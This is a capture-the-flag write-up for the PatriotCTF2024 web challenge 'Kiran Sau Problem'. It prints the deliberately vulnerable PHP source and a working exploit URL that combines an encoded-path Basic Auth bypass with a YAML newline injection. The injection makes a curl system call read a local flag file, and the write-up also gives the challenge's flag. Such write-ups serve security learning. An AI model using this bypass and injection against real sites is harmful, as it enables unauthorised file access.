PatriotCTF2024 web/kiran sau problem
My solution for PatriotCTF2024 web/KIRAN SAU PROBLEM challenge
Challenge overview
The KIRAN SAU PROBLEM challenge presents a simple PHP web application with some configuration files, crontab and .htaccess file.
Application structure
1
2
3
4
5
6
7
8
9
10
11
12
├── conf-files
│ ├── .htaccess
│ ├── 000-default.conf
│ ├── apache.conf
│ ├── cron.conf
│ ├── crontab
│ └── php-fpm.conf
├── php-files
│ ├── challenge.php
│ └── index.php
├── docker-compose.yaml
└── Dockerfile
Analysis
Upon accessing the challenge URL, we encounter a basic PHP application with limited information.
.htaccess
1
2
3
4
5
6
<Files "challenge.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
This configuration restricts access to challenge.php using Basic Authentication, hinting at a potential bypass strategy.
challenge.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<html>
<head>
<title>Kiran Sau Problem</title>
</head>
</html>
<?php
$input = $_GET['country'];
$url = $_GET['url'];
$countryList = array(
"AF" => "Afghanistan", "AL" => "Albania", "DZ" => "Algeria", "AS" => "American Samoa",
... and so on... );
$countryList = array_flip($countryList);
$yaml = <<<EOF
- country: $input
- country_code: $countryList[$input]
EOF;
if (empty($yaml)) die("No YAML data provided");
$parsed_arr = yaml_parse($yaml);
$cc = $parsed_arr[1]['country_code'];
if (!$parsed_arr) echo "Error parsing YAML".'<br>';
if (!$input) die("No country code provided");
if (isset($input)) {
if (array_key_exists($parsed_arr[0]['country'], $countryList)) {
echo "The country code for ".$parsed_arr[0]['country']." is ". $cc.'<br>';
run($cc, $url);
} else {
die("Country not found");
return;
}
}
function run($cc, $url) {
echo "Country code: ".$cc."<br>";
if (!$cc) {
system(escapeshellcmd('curl '.$url));
}
return;
}
000-default.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
<Directory "/var/www/html">
AllowOverride All
</Directory>
<FilesMatch \.php$>
AddType application/x-httpd-php .php
SetHandler "proxy:fcgi://localhost:9000"
</FilesMatch>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Identifying the vulnerabilities
Basic Authentication bypass
The .htaccess file secures challenge.php with Basic Authentication. However, I discovered a clever way to bypass this protection by manipulating the URL: http://chal.competitivecyber.club:8090/challenge.php%3Ftest.php
More about this here:
Link 1
Link 2
Quick explanation
By appending %3Ftest.php (URL-encoded ?test.php) to challenge.php, the server misinterprets the request, potentially bypassing the .htaccess restrictions and allowing access without authentication.
YAML Injection to Command Execution
The core vulnerability lies within the handling of user inputs country and url in challenge.php.
User inputs:
country: expected to be a country code(e.g., “US”)url: a url to be used in asystemcommand
YAML construction:
1
2
3
4
$yaml = <<<EOF
- country: $input
- country_code: $countryList[$input]
EOF;
This YAML string is constructed using direct user input without proper sanitization, allowing for YAML injection.
YAML parsing:
1
2
$parsed_arr = yaml_parse($yaml);
$cc = $parsed_arr[1]['country_code'];
Conditional execution:
1
2
3
if (!$cc) {
system(escapeshellcmd('curl '.$url));
}
If country_code is empty, the application executes a curl command with the provided url.
By injecting a newline character into the country parameter, we can manipulate the YAML structure, making country_code empty and triggering the system call with a controlled url.
Crafting the exploit
Bypassing Basic Authentication
Utilize the URL-encoding trick to accesschallenge.phpwithout providing valid credentials:http://chal.competitivecyber.club:8090/challenge.php%3Ftest.phpExploiting YAML Injection
Make$ccempty to trigger thesystemcall, then inject a newline character into thecountryparameter to alter the YAML structure.- Payload construction:
1 2
country = Azerbaijan%0A-%20country_code:%20 url = file:///get-here/flag.txt
- Final exploit URL
1
http://chal.competitivecyber.club:8090/challenge.php%3Ftest.php?country=Azerbaijan%0A-%20country_code:%20&url=file:///get-here/flag.txt
Breakdown
Azerbaijan%0A-%20country_code:%20 - this alters the YAML to:
1
2
- country: Azerbaijan
- country_code:
As a result, $parsed_arr[1]['country_code'] becomes empty (null).
Since $cc is empty, the condition if (!$cc) is satisfied. The application executes:
1
system(escapeshellcmd('curl file:///get-here/flag.txt'));
Flag:
PCTF{Kiran_SAU_Manifested}
Conclusion
By analyzing the application’s handling of user inputs and leveraging YAML injection, we successfully bypassed Basic Authentication and executed arbitrary command to retrieve the flag. This challenge underscores the critical importance of input validation and secure coding practices in web applications.
Key takeaways
- Importance of proper URL parsing: Ensuring that authentication mechanisms correctly parse and validate URLs can prevent such bypass attempts.
- Sanitize and validate inputs: Always sanitize user inputs, especially when they are used to construct data structures or commands.
- Use safe parsing methods: Utilize parsing libraries and functions that handle input safely and avoid exposing internal logic to user manipulation.
- Avoid direct command execution: Refrain from using functions like
system,exec, orshell_execwith user inputs.
